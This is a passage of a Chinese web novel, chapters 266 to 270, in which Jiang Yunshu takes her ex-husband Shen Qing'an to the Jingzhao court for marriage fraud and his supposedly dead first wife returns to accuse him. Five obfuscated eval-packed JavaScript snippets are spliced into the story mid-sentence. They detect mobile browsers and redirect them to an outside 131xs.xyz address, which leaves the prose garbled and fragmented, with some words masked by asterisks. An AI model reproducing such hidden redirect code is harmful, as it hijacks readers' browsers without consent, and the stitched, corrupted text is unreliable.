有了赵田和孙二娘这一喊,人群之中又有人回过神来,纷纷朝着仁春堂的方向拜。 “感谢县主的救命之恩!” “别人都是赶着疾病蔓延时挣银子,偏偏县主自己出药免费给我们穷人看病,这才是真菩萨啊!” “能得崇光寺长明大师同意让出后山湿地给县主种植药材,那是县主善意感动菩萨,这位沈大人,你是怎么敢污蔑县主的!” 也不知谁提到了沈清安,此时众人瞬间转过头来,感激的视线瞬间转变成了憎恶和愤恨。 “就是,当初姜老将军都不嫌弃你出身低微,将县主许配给你,你都做了什么,负心汉!” “不是说他那原配刚刚**吗,怎的还没过头七就跑来仁春堂给县主找晦气了?” “哎哟,听说他最近和恭王府的郡主走得近,传言恭王就要回京,那原配到底**的,可不好说!” 一时间,众人的话题一又引到了沈清安这里。 众人这一开口,沈家的事情可就扒开了,这一扒,话题瞬间就冒了出来。 议论的同时,众人看向沈清安的眼神都莫名有了暧昧的变化,大概是京兆府尹就在这里,大家也丝毫不掩饰眼中的嘲讽和鄙夷。 一时间,沈清安耳朵里“嗡嗡”的,瞪大的眼睛之中神情涣散,还不等他想好如何应对只听邢恪的声音再次传来。 “沈大人,请吧。” 沈清安身子一晃,猛然间回过神来。 “我,是我未调查清楚,这都是误会,我愿意赔偿姜云舒声誉损伤。” 他一边说着,紧忙朝旁边招招手,随身小厮子固紧忙上前,将银票递到他手上。 “姜云舒,一千两,一千两足够了吧。” 围观众人盯着沈清安递过去的银票,不由得瞪大了眼睛。 且不说一千两,便是一百两,在场也是很多人见都没见过的大钱。 姜云舒也并没有什么损失,白白得手一千两,在他们看来也足够了。 “沈大人的声誉损伤费,我收下。” 姜云舒抬手,两个手指头夹过那银票,然而,还不等沈清安松一口气,就听她紧接着说:“但沈大人这一趟京兆府还是要去,这一次,是我告你。” “告,告我?姜云舒,你什么意思?”沈清安眼神一闪,心虚却又强撑着脸上的平静。 “我要告你,蓄意骗婚,欺上瞒下。” 说着话,姜云舒转身将一份状纸递到邢恪面前,“邢大人,这是正式诉状,还请过目。” 邢恪接过诉状,低头看过之后,眸色一沉。 “事关重大,沈大人还请移步京兆府。” 沈清安眼神一凛,本心抗拒,可此时境况却由不得他。 一炷香后,京兆府尹。 公堂之上,除了姜云舒一开始呈交的诉状,还有最近这段时间收集的证据,一并呈交至经京兆府尹邢恪面前。 邢恪细细看完,惊堂木猛地一下拍在桌上。 “啪”的一声脆响,仿佛在沈清安心口上重重锤了一下。 “好个忘恩负义的沈大人,如今证据在前,你还有什么话好说!” 邢恪中气十足,声音洪亮带着一股穿透力。 沈清安惊得浑身一颤,张嘴矢口否认,“不,不是这样,这是污蔑!” 他似乎从抬高的声音之中镇定下来,猛然间抬头。 “三年前,高氏是从清州来京城与我汇合,谁知路上遭遇**,当时派出寻人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16408614|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 队伍却只见残缺的马车不见人,下官便以为她和孩子已经遇险,这才……那时正值我上任之际,与姜云舒有了一面之缘,谁知她对我生出了情愫,遂姜兆霖将军便向皇上请旨赐婚,期间岩城有人送信回来,高氏母子并未寻到踪迹,我这才……” “沈大人的意思是,高氏不见踪迹之时,因为我看上了你,然后我爹便不问你的意愿,请皇上下旨赐婚,又因为是赐婚,你不能拒绝,所以在没有找到高芝兰尸体的情况下,才和我成了亲?” 姜云舒幽幽开口,清冷的声音如包裹着寒霜,让沈清安感觉一股凉意自脊背攀爬上来。 沈清安喉间一紧,眼神闪烁之间,没察觉漏洞,下意识点了点头。 “我说的是事实……” “呵,事实!” 姜云舒忍不住冷笑出声,“沈大人所谓的事实,是故意忽略我爹放下身段询问你的意见,你所谓的事实,是选择性忘记你亲自登门,向我父母起誓会珍视爱护我,你所谓的事实,是你不惜连原配丧事都不办以刻意隐瞒丧妻之事,沈清安,你是被逼无奈还是趁机筹谋,你自己敢对着高芝兰的牌位承认吗?” 沈清安面色一滞,嘴角动了动,正要开口,姜云舒却没给他机会。 “对了,说起来,这高夫人也不知是做了什么孽,死两次,还都是马车跌落悬崖,偏偏还都是死无全尸。” 说话间,姜云舒抬脚往沈清安跟前走近一步,“这一次,又没找到尸身吧?生不见人死不见尸,沈大人就迫不及待地办了丧事,你有没有想过,万一哪天她又回来找你,你又该如何?” 她的声音不大,可听进沈清安耳中,仿佛带着刺一般,让他脸色瞬间惨白。 “不,不可能的!”沈清安下意识否则。 之前那次是做样子,这一次可是他亲自看着高芝兰摔落悬崖,那悬崖可是百丈高,人摔下去怎么可能还会活命? 可不知怎么,他看此时姜云舒的表情,仿佛阴曹的判官,盯着他,便能分辨真假。 沈清安心中“咯噔”一下。 第266章 狡辩 “姜云舒,你不要胡言乱语在这里混淆视听!” 沈清安眼神凛冽地朝姜云舒瞪一眼,“你已经离开我沈家,如今我沈家之事与你无关,便是你状告本官骗婚,可你也是只口说无凭,并未有实质证据,你可知道,污蔑朝中重臣,又是什么罪责。” 自从锦州回来,沈清安已经是从四品官员,竟也让他跻身“朝廷重臣”之列。 只是,这话从他自己口中说出,只让人觉着无限嘲讽。 可围观的百姓并不之情,见沈清安此时这般昂首挺胸一副成竹在胸的模样,还真有几分嘀咕。 “按照沈大人所说,虽丧妻便再娶的确匆忙,可到底姜家官威压人,倒也情有可原。” “哎呀,这其中弯弯绕绕,谁能说得清楚呢,即便如此,可当时沈大人对县主也是殷勤着呢,当时都称赞他们郎才女貌是一对璧人呢,谁能想到他当时刚刚**原配?” “要不说,高门大院深似海,谁知道其中究竟是怎么回事……” 此时,邢恪听着大堂之外百姓议论份,眉心微蹙,看向姜云舒。 “乐安县主,你可还有实证?” 还不等姜云舒开口,却见沈清安先嘲讽地“哼”了一声。 “她自然是没有实证的。” 这话说得胸有成竹,似乎他早已经为今天的对簿公堂做足了准备。 说话间,见姜云舒没接茬,他便自当她是心虚,挑起的眉梢之间跟更多了一层得意。 “且不说污蔑本官,便是以前在沈家,她便与高氏有诸多过节,我沈家出事,该不会是你找人做的吧?” “沈大人自己做事做不利索,就别随意揣度别人了,我在你沈家时不对高氏动手,如今已经离开,还有什么理由要她的命?” 姜云舒微微侧身,迎着沈清安挑衅的视线看去,神情一如平常。 沈清安被她看得眼神一缩,不过也只是瞬间,眼底再次腾起兴奋。 “哼,你拿不出证据,但是我有!” 说话间,他猛地从袖中抽出一条破布条,抬手在众人面前晃了晃。 “这便是在悬崖边上找到的线索,若是没记错,这布条的成色和花纹,便是太后赏赐你的那辆马车上的坠饰所用。” 说着,他转身将那布条递给旁边的师爷。 师爷接过去,转手交给邢恪。 太后赏赐的那辆马车装潢华丽,很多人都见过,尤其之前高芝兰为污蔑姜云舒而作妖时,也有几次与那马车有关,邢恪只一眼便可确定,那布条的确来自姜云舒的马车没错。 且不说邢恪,便是外面围观的百姓都有认出来的,一时间,看向姜云舒的眼神之中多了一丝惊恐。 “这,乐安县主**害命?这不太可能吧!” “哎哟,这世上有什么不可能的事儿?以前她可是在边境长大,就算没上过战场,可**于她来说,也并不是什么稀奇事儿。” “唉,这又是何苦呢,都从沈家离开了,怎的还……” 一时间,大堂之外议论声再次传来,有人惊叹,有人惋惜,还有人此时看姜云舒的眼神变得微妙。 邢恪听着百姓的议论,幽冷的眸中神情微妙,他转手将布条放置桌上,抬头看向姜云舒。 “乐安县主,你可有什么说的?”他又问。 姜云舒挑眉朝那布条瞥了一眼,微微叹一口气。 “如众人所知,我自小在边境战事之地长大,大人觉着,我杀高芝兰一个妇孺,会自己动手吗?” 她问的是邢恪,可眼神却是看向沈清安,“更何况,那马车是太后赏赐,我会乘坐马车出门行凶,就为了给人留下证据?” 一句话,将沈清安满面的得意冻结在了脸上。 他嘴角动了动,一时间没想到反驳的说辞。 姜云舒也没给他反驳的余地,再转向邢恪,神情之中多了几分认真。 “一条破布条算不上什么物证,而我有人证,高芝兰出事那日,那辆马车正好送薛神医入宫,自辰时起到酉时,马车一直停在皇宫门口,这一点,皇宫守卫都能作证。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16408615|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 邢恪眼皮微动,摆摆手,吩咐旁边捕头。 “去皇宫门卫证实。” “是!”关捕头应声,转身带人离开。 此时刚才议论的百姓也被姜云舒的几句话堵住了嘴,众人怔怔看着姜云舒,还没回过神来,却见她又转向沈清安。 “那么,沈大人这布条究竟是从何而来呢?” 破布条不能作为证据,那刚才沈清安的作为便是污蔑。 沈清安蹙眉,双手不由得攥住,“不管怎么说,你以前也是沈家人,你的东西出现在沈家并不稀奇。” 话出口,他似乎给自己涨了底气,深吸一口气,迎着姜云舒的视线看过去。 “就算这布条不能作为证据,可你的证据也不足以判定我骗婚,刚才我所言,皆有岩城当地人证,除此之外,当时都寻的文书也在。” 说着,他扭头朝大堂外看去,此时子固正拿着东西等在门外,见沈清安看过来,紧忙上前将东西递过来。 “这便是当初高氏失踪时,岩城府衙出具的搜查文书。” 邢恪见沈清安手里再拿出来的东西,眼皮微微动了一下。 不得不说,沈清安在有些事情上,的确严谨,就算他骗婚,可此时所呈上来的证据,足以为他脱罪。 “嗯,这文书的确属实。”邢恪开口。 文书上落下的大印做不得假,依照当时的时间,也没有任何一点。 听得邢恪这样说,沈清安原本的紧张又散了个干净,他侧眸朝姜云舒瞥了一眼。 “所以说,本官一开始就劝你做事要三思,如今你闹到京兆府来,污蔑朝廷官员,这罪责可不小。” 说着,他转了个身正对姜云舒,跟着仰起头,“你知道的,我也并不是斤斤计较之人,你若此时磕头认罪再赔偿本官声誉损伤,本官可以既往不咎,否则……” 他往前凑了一步,声音自姜云舒的肩膀传来,带着浓烈的警告意味。 “姜云舒,你应该知道,戴枷游街有多丢人。” 第267章 是人是鬼 姜云舒蹙眉,下意识往后退了一步与他拉开距离。 她没有理会沈清安,而是抬起头来看向邢恪,“既然这文书千真万确,那今日我除了状告沈清安骗婚,还要再告岩城知府利用职务之便滥用职权!” “姜云舒!”沈清安猛地抬起头来,“你差不多得了,有完没完!” “自然是没完的!”姜云舒也还给他一个冷笑,继续道:“三年前,岩城遭遇水患,当时全城兵力都在抵御洪水,怎么可能抽调出人手给你找人?除非,是岩城知府收了你的好处,从抗击水患的队伍中抽调人手。” 她的话并没有下定论,却是让大堂之外的百姓脸色霎时震惊地瞪大了眼睛。 当时岩城大水,不知冲走了多少房屋,毁了多少良田,不过一个城,被淹死的百姓达上千人,这样惨烈的灾患之际,那岩城知府若因为收了好处不顾百姓安危,随意抽调士兵,那才是罪该万死! 且不说那岩城知府,便是给好处的沈清安也逃不了。 “你,你不要血口喷人!” 沈清安无可反驳,只朝姜云舒瞪着眼睛。 姜云舒不理会他,只想邢恪眨了眨眼睛,“劳烦邢大人核实。” “嗯,事关重大,本官自会核实。” 邢恪沉冷应声,侧目,视线落在沈清安身上。 不得不说,这还是他头回审案话这么少的。 平常审案,都是他一问对方一答,甚至有时被告不说实话还要逼供,如今倒好,他什么都不用问,这俩人都各自把对方审了,还越审拽出来的信息越多。 姜云舒没注意到邢恪落在她身上的眼神,说完,又转向沈清安。 “怎么办,沈大人,你的证据可能不足以保你了,除此之外,你还有什么自证的吗?”她勾了勾唇角,笑意不达眼底,平添了一抹寒凉。 沈清安本来就慌着,见姜云舒笑,当时眼睛一瞪。 “姜云舒,你别太过分,是你告我,凭什么要我拿证据!” “哦,那你就是没有证据了,既然如此,我便要拿实证了。” 话音落,姜云舒脸上的笑容倏然收敛,她转身朝人群中摆摆手,就见月禾扒开人群上前来。 众人一时间疑惑,下意识朝月禾的方向看去,却见她到了大堂口,将一个人拉了过来。 那人身着一身粗布衣服,脸上还蒙着一层纱巾,随着走到人前,伸手扯开那纱巾,一张熟悉的脸出现在众人面前。 “高,高氏!” 人群之中不知谁喊了一声,引得众人的视线纷纷朝着高芝兰看过去。 这一看,在场围观的众人一下子惊得长大了嘴巴,半晌没想起来收回去。 “这,这是人是鬼啊!” “不是说从十仗高的悬崖上掉下去的吗,怎么可能还活着!” “你看她那张脸惨白惨白的,刚才走路还没有声音,难不成真的是冤魂索命!” “哎呀,她可是乐安县主叫出来的,这是要向沈大人索命啊!” 最后这一句话在人群中传开,众人的视线纷纷朝着沈清安看了过去。 此时沈清安的震惊程度绝对比在场所有人都大,他惊恐的瞪大眼睛,眼珠子鼓着,太阳穴突着,真真仿佛见到鬼一般! 不可能! 这绝对不可能! 当时他是亲眼看到高芝兰的马车从悬崖上掉下去的,坠落时,高芝兰的惨叫声就回荡在悬崖的半空中,怎么可能还活着。 “你……” 他感觉脑子里一片空白,下意识退后两步后又意识到不对,便又上前,可高芝兰却径自越过他,跪在了大堂上。 “民女冤枉,请青天大老爷做主啊!” 高芝兰的声音带着哭腔,一边说着,朝着邢恪跪了下来。 此时就连邢恪也吃了不小一惊,不过,到底是见多识广,他很快便平静下来。 “堂下所跪何人,报上名来,所谓何事,一五一十禀报来。”邢恪沉声开口。 “是沈清安,沈清安要杀我啊!”高芝兰突然间转身,指着沈清安大喊一声。 “高氏,你胡说什么!” 沈清安当即脸色一凛,朝着高芝兰怒喝。 “就是你,就是你派人追杀我,然后将我的马车赶落悬崖!” 高芝兰扯着嗓子,说话间,抬手用力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413600|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扯下脸上的纱布。 此时,她脸上被树枝藤刺划伤的口子还泛着红,让人瞧着忍不住倒吸一口凉气。 而此时相比她的脸,更让人震惊到合不拢嘴的是她刚才的指认。 “什么?竟然是沈大人!老天爷,**灭口啊!” “真是没看出来,沈大人瞧着斯斯文文的,竟然是一个对原配发妻下**的败类!” “听说,这高氏不是有了身孕吗?那可是他的血脉,他竟然还能下得去手!真是个畜生啊!” 百姓此时的议论声比之前更大了几分,还有情绪激动的,已经义愤填膺,拿着不知从哪里弄来的蓝菜叶子臭鸡蛋便朝着沈清安身上扔。 沈清安躲避不及,原本锦衣绸缎的袍子此时已经站满了脏污,原本梳得一丝不苟的头上也沾了鸡蛋,狼狈至极。 “安静!大堂之上,岂敢喧闹!” 衙役见局面要乱,上前怒喝一声。 众人愤怒是愤怒,可到底怕官,见衙役腰间的佩刀都抽出来了,急忙后退,不敢再造次。 这边百姓平静下来,邢恪才缓缓开口。 “高氏,你指认沈大人谋害你性命,可有实证?” 沈清安到底是朝廷官员,若没有实证,单凭她指证是不能定罪的。 “我,我……” 高芝兰眼神闪了闪,“我险些死在他手里,这还要什么实证?我听到了他的声音,还有,那些追杀我的黑衣人,佩刀上有闪电的记号,是沈清安外出公办时,朝廷为他配的卫兵,这还不能证明吗!” 她的情绪依旧激动,然而,此时这几句话出口,却让沈清安原本慌乱的表情平静下来。 这,当然不能当做实证。 左右都是从她口中说出来的,所谓空口无凭,怎么能单凭她几句话就给一个朝廷官员定罪呢? “高氏,我知道,你因为我要和无忧成亲,所以对我怀恨在心,可即便如此,你也不能这样偏激,污蔑我就算了,你肚子里还有孩子呢,那也是你的骨肉啊!” 说着,沈清安下意识往高芝兰身边走近一步,也只是靠近一步,却见姜云舒抬脚上前,挡在了他跟前。 第268章 她不是我的妻 “京兆府公堂之上,沈大人难不成还想**灭口吗?” 姜云舒微微歪着头,看向沈清安的视线之中带着不经意的嘲讽。 沈清安一顿,眉头紧紧拧起。 “姜云舒,是你在背后捣鬼!是你离间我们!” 他森冷的视线落在姜云舒脸上,“以前在沈家,你便处处给芝兰难看,如今要你已经离开沈家,是你休了我,让我丢尽了脸面,为什么还不能放过我们!” 此时他那满腔悲愤之中还透着无尽的憋屈和被逼无奈,说话的同时,他又转向高芝兰。 “你明明知道她心机深沉,为什么还要相信她的挑拨?你怀疑我之前可曾想过长元!” 这突然的转变,一时间让人没有反应过来。 不得不说,沈清安这种人,的确出事应变能力很强,即便摆在他面前的事情对他已经很不利,他依旧能立刻反应过来扭转乾坤。 这不,三言两语之间,便将他这个谋害着变成了被姜云舒设计的受害者。 而言语之间,又在无形之中警告高芝兰,他们之间还有个沈长元,他出了事,沈长元也好不了。 果然,听见他这话,高芝兰的眼神明显一缩,对于一个母亲来说,这辈子最重要的便是自己孩子的前途。 她也清楚沈长元并不是能成大器的孩子,可沈清安能为了娶那郡主对自己下毒手,保不齐也能对长元…… 高芝兰六神无主,下意识看向姜云舒。 姜云舒蹙眉,忍不住沉沉叹一口气,怪不得被人家算计呢,不得不心服口服。 “到了京兆府尹面前再说这样的话就真没意思了,高氏没有死,她的话便是证词。” “我接受京兆府的调查,但是,只凭芝兰头脑不清醒的指控,并不能作为实证!而且,她能在你巧言令色之下转而污蔑我,也算是抛夫弃子了。” 沈清安眯了眯眼睛,转而看向高芝兰,“是你自己一步一步走近死胡同的!” “你,沈清安,你会遭报应!” 高芝兰瞪着眼睛,眼球上布满了红血丝,配上咬牙切齿的表情,仿若要撕咬了她一般。 可此时除了咬牙切齿,她似乎也没有别的办法。 沈清安做事谨慎,即便她被姜云舒救了下来,可也并没有留下能指证他的实证,京兆府办案,要的是人证物证,只凭空口的指证,不能作数。 “好,我的确没有能指认你**的罪证,但这不代表我就要任你摆布!” 说着,她转身面向邢恪,“大人,草民愿意做为乐安县主的人证,指证沈清安骗婚罪证。” “高芝兰,你疯了!” 沈清安原本还略带得意的表情一下子就裂开了,他几步上前,怒不可遏地瞪着高芝兰。 “你知不知道你在说什么!你想害死我,也不管沈长元了吗!” “呵,从被你的人围追堵截摔下悬崖的那一刻,我还有什么可在乎的!沈清安,我是遭了报应,但现在,你的报应也来了!” 说着,高芝兰再转向邢恪,抬手,将不知从哪里逃出来的信双手呈上。 “这是我在岩城期间,沈清安与我的书信往来,信中有提及沈清安让我带着孩子暂时留在岩城,等待时机再将我们接进进城,除了这些书信,还有我大儿子年幼时的乳母作证。” 说完,她扭头朝外面看一眼,此时,月禾身后又走出一个和高芝兰年纪相仿的妇人。 妇人看起来很紧张,到了跟前双腿忽然一软似的跪在了地上。 “大,大人,草民是沈小公子的乳母,三年前,是沈大人亲子选到高夫人身边。” 说着话,她抬头看了邢恪一眼,似乎被邢恪的眼神吓到,赶紧磕头,一边磕头一边求饶,“青天大老爷,草民只是每年替高夫人往京城送银子,我可什么都没做呀!” 此时邢恪已经将高芝兰送上来的书信看得差不多,结合着那乳母的话,事情已经有了定论。 “来人,将沈清安拿下!”邢恪冷厉的声音在大堂响起。 “邢恪,你疯了吗!” 沈清安身子一晃,瞪大的眼睛惊恐散开,“污蔑,这都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413601|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是污蔑,是她们联合起来污蔑本官!” “污蔑?呵,沈大人,你折腾了一个晌午,是真真将我京兆府顶罪的规则摸了个清楚,也正是利用这规则,数次从乐安县主和高氏的指证之中摘除,但如今,人证物证俱在,你没有狡辩的余地。” 说着,邢恪朝旁边衙役使了个眼色,“沈清安,身为朝廷官员,罔顾我大瑞律法,蓄意骗婚的同时娶两位正室,依照律法,杖五十,官职直降三级,来人,扒了他的衣服,行刑!” 沈清安虽没有穿官服,但也要象征性地扒外衣以示降职。 衙役早已经准备妥当,听得命令几个人同时上前,有人把衣服,有人拿了长条凳子过来。 “别动我!放手!” 不知是真的急眼了还是衙役太轻视,竟然让沈清安挣脱了。 只见他猛地后退两步,死死护着自己的衣服,朝邢恪大喝一声。 “我没有骗婚,也没有娶两个,高芝兰并不是我的妻,她是当初给我家二弟娶的!” 一句话,如炸雷在大堂上炸开,别说围观百姓,就连高芝兰自己都惊呆了。 “沈清安,你在说什么?”她瞪大眼睛,声音颤抖。 跟他过了这么多年,孩子都快有两个了,他竟然说她是给他弟弟娶的? “当初娶她进门的是我二弟,所以,她不是我的妻!” 沈清安没搭理高芝兰,只一味地跟邢恪表明。 高芝兰脸上的表情都凝住了,她愣愣的看着沈清安,脑子里一片混乱。 姜云舒站在一旁没说话,但是脑子里思量着沈清安此时这话的含义。 不管如何,高芝兰消失了三年,如今在当地府衙已经没了户籍,只要沈清睿这时候认了沈清安说的话,那沈清安这会儿说什么是什么。 不得不说,沈清安在行事上,可真是有壁虎断尾的魄力。 姜云舒是没想到事情会进展到这个地步,不过,他既然提到了沈清睿,有些事情倒是可以顺水推舟推一把。 这可是沈清安自找的死路。 第269章 收押 “沈清安,你还是不是人!” 高芝兰带了刀子一般的眼神瞪着沈清安,浑身抑制不住颤抖。 呵,嫁入他沈家六年,孩子都生了,如今他竟然说自己嫁的人是他的弟弟! 也对,他本来就不是人啊! 从他将她们母子留在岩城,独自一人回京娶姜云舒时,他的心肝就已经黑了,什么接回来将沈夫人的位置还给自己,根本也是他衡量利弊之后的说辞。 而且,他都对自己下了**,还是在自己肚子里怀着他的孩子时下**,她还对他能有什么期望呢! “青天大老爷!” 高芝兰转身,扑通一声跪在大堂上,“请青天大老爷给民妇做主啊!沈清安抛妻弃子,蓄意骗婚,如今为了攀附高枝,对我这原配痛下**,此贼牲畜不如,还请青天大老爷明察啊!” 她一边说着,“砰砰”地在地上磕头,声嘶力竭。 姜云舒站在旁边看着高芝兰,心口像是被什么堵住,一口气上不来下不去,憋得难受。 如高芝兰这般出身市井,自小被教育的便是如何侍奉人,即便有些脑子,也只是耍些小聪明,她看不到大局,更想不了长远的东西。 正如此时怒气冲顶,可除了给京兆府尹磕头哭诉,她什么都做不了。 邢恪也是拧着眉头,脸色阴沉,明知道高芝兰此番冤屈,可她就是拿不出有效证据,哪怕刚才提交上来的证据属实,但凡沈清睿认了,顶多也就是治沈清安一个**的罪过。 “来人,去请沈侍卫过来问话。” “回大人,此时应该不行。” 这时,从外面回来的压抑紧忙应声,“今日沈侍卫在城内当值,怕是要明日才能过来。” 邢恪眉心又拧紧了几分,他下意识抬头朝姜云舒看过去,而此时,姜云舒也正朝邢恪这边看了过来。 “原以为,沈大人是清清白白的探花出身,却不想,身世背景这样复杂。” 姜云舒一边说着,视线朝沈清安的方向扫过,冷笑一声,“能高中三甲,沈大人的聪明才是自是毋庸置疑,也难怪如今还能游刃有余,可人在做天在看,我等着看沈大人挨天打雷劈。” 说完,不等沈清安开口,姜云舒又看向邢恪,“邢大人,即便我与高氏提供的证据不足以给沈清安定罪,但此时他的嫌疑已经足够收押,我们求一个公道,有耐心等大人的审判。” “你……” 高芝兰下意识开口,可一抬头就见姜云舒朝她使眼色,想起月禾之前的叮嘱,嘴边的话当即又收了回去。 高芝兰的话没说出来,倒是沈清安急了。 “姜云舒,你凭什么收押本官!本官可是朝廷命官!”沈清安瞪大眼睛。 姜云舒扭头看他,唇角勾起微妙的嘲讽。 “正因为沈大人是朝廷命官,知法犯法,罪加一等,你口口声声身正不怕影子斜,又何必害怕这去取一日呢?” 说话的功夫,姜云舒脸上的表情是笑着的,可沈清安却忍不住打了个哆嗦,总觉着姜云舒在背后酝酿着什么。 姜云舒不似高芝兰,将情绪都写在脸上,这个女人,仪态平稳,时常面带笑容,可却让人辨不出她的喜怒。 沈清安嘴角动了动,话还没有出口,却被邢恪打断。 “如此,沈清安收押大牢,待明日证人带到再做定夺。”邢恪沉着脸,抬手将惊堂木拍在桌上,“退堂!” 沈清安被几个衙役押着进了内牢,月禾上前将高芝兰扶了起来,转到门口。 “乐安县主请留步。” 此时,身后传来邢恪的声音。 姜云舒脚步顿住,见师爷朝旁边做了个“请”的姿势,转身跟了过去。 进了内庭院,邢恪停下身来,扭头看向姜云舒。 “高氏亲口承认是为县主所救,可依照京兆府搜寻的情况来看,当时马车坠落悬崖,县主又是如何在那般凶险境地将人救下的?”他看着姜云舒,锐利的眸中带着丝丝审视。 “邢大人这意思,是在怀疑我与高芝兰联合起来污蔑沈清安?” 姜云舒挑眉,迎着邢恪探究的视线不避不闪。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16420144|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 明明她们才是受害者,邢恪这京兆府尹不将精力和注意力放在调查沈清安身上,竟然盯上了自己。 “县主既然将状纸递到本官手里,与案件相关,本官都要审查,尤其高氏被**一点诸多,人命关天,还请县主如实相告。”邢恪声音沉冷。 姜云舒下意识捏住拳头,深吸一口气将涌起来的怒意压住。 “邢大人说得没错,我与高氏的确早就有联系,在女人的眼睛里,敌人的敌人便是朋友,恭王府进京在即,沈清安想要迎娶恭王府郡主,后宅之中就必须清净,而此时,高芝兰有了身孕,她不傻,早已有感知会出事,便在那日出门之前给我送了信儿。” 说着,她抬手将腰间的银票拿出来,“拿人钱财,**,再加上她同意作为证人指正沈清安骗婚,我认为这笔买卖值得做。” 邢恪低头看了一眼姜云舒手里的银票,还没瞧真切,姜云舒就一转手收了回去,仿佛生怕别人抢她似的。 “你……”邢恪一噎,蹙眉,“既然县主的状纸已经递到了本官面前,本官自会为你们做主,只是大堂之上空口总不能为证,县主若要尽快定案,还是要拿出确凿的证据。” 他的话隔着一层并没有说得太明白,但言语之间却是意指姜云舒还有保留的证据。 事实上,姜云舒的确还没有亮出底牌。 “邢大人说得是,我会再与高氏核实,若有新线索,定然尽快送过来。” 说完,姜云舒转身往外走。 邢恪睨着姜云舒离开的身影,此时阳光从头顶落下来,照在姜云舒身上,明明光芒灿烂,可他透过那片光辉,却仿佛看到姜云舒是身上隐藏的幽暗。 自沈清安回京之后,邢恪处理沈家的事情已经不是一次两次了,姜云舒每次都能精准命中沈清安和高芝兰的痛处,干净利落平。 可这一次,她除了提交状纸,整个过程便是在旁边看着沈清安和高芝兰之间互相指责撕咬,并未有过多言语。 不对,在这一纸骗婚诉状之后,定然还有她真正的目的! 第270章 阿舒,你要不要后悔 自京兆府内院出来,姜云舒径自到了正门口,此时高芝兰并没有走,而是在这里等着。 见姜云舒出来,高芝兰紧忙上前。 “姜……县主,我们现在该怎么办?” 情急之下,高芝兰伸手拉住姜云舒的衣袖,“你不是说过,这一次,只要我作证,沈清安必然会被治罪?可现在……万一沈清睿能帮沈清安脱罪,长元该怎么办?” 她一边说着话,一边捂着自己的肚子,脸色略显苍白。 身为一个母亲,不管沈清安有多心狠毒辣,可孩子终究是她身上掉下来的,总也不能割舍。 姜云舒垂眸看了她一眼,抬手,将衣袖从高芝兰手中抽出。 “答应过你的事情,我自会办到,我让人在燕尾胡同给你买了一套宅子,这段时间,你便住在那里。”姜云舒言语平静,让人听不出喜怒。 高芝兰顿了一下,抬头看着姜云舒,只见她神情淡然,一时间有些捉摸不透她的意思。 “你……你为何还要我留在京城?”高芝兰试探问。 “如今你已经与沈清安撕破脸皮,这个时候,但凡你出了意外,京兆府第一时间就会找到沈清安身上,他不傻,自然不会在京兆府眼皮子底下动你,所以,此时于你来说,没有比在京城更安全的,更何况,你还怀着身子,行动不便,最妥善的安置便是,留在京城。” 姜云舒扭头,视线在她微微隆起的小腹上扫过,又接着说:“你放心,我会安排人保护你的安全, 之后,会让沈长元见你一面,至于他要不要跟你走,那便是你的事情了。” 说完,姜云舒抬脚往前走。 高芝兰站在原地,一时间没有动,不得不承认,姜云舒此时的安排最合适不过,可万一…… “高夫人,随我来吧。” 正想着,月禾上前一步。 高芝兰被月禾的声音拉回思绪,她望着姜云舒离开的方向抿了抿唇,跟着月禾上了马车。 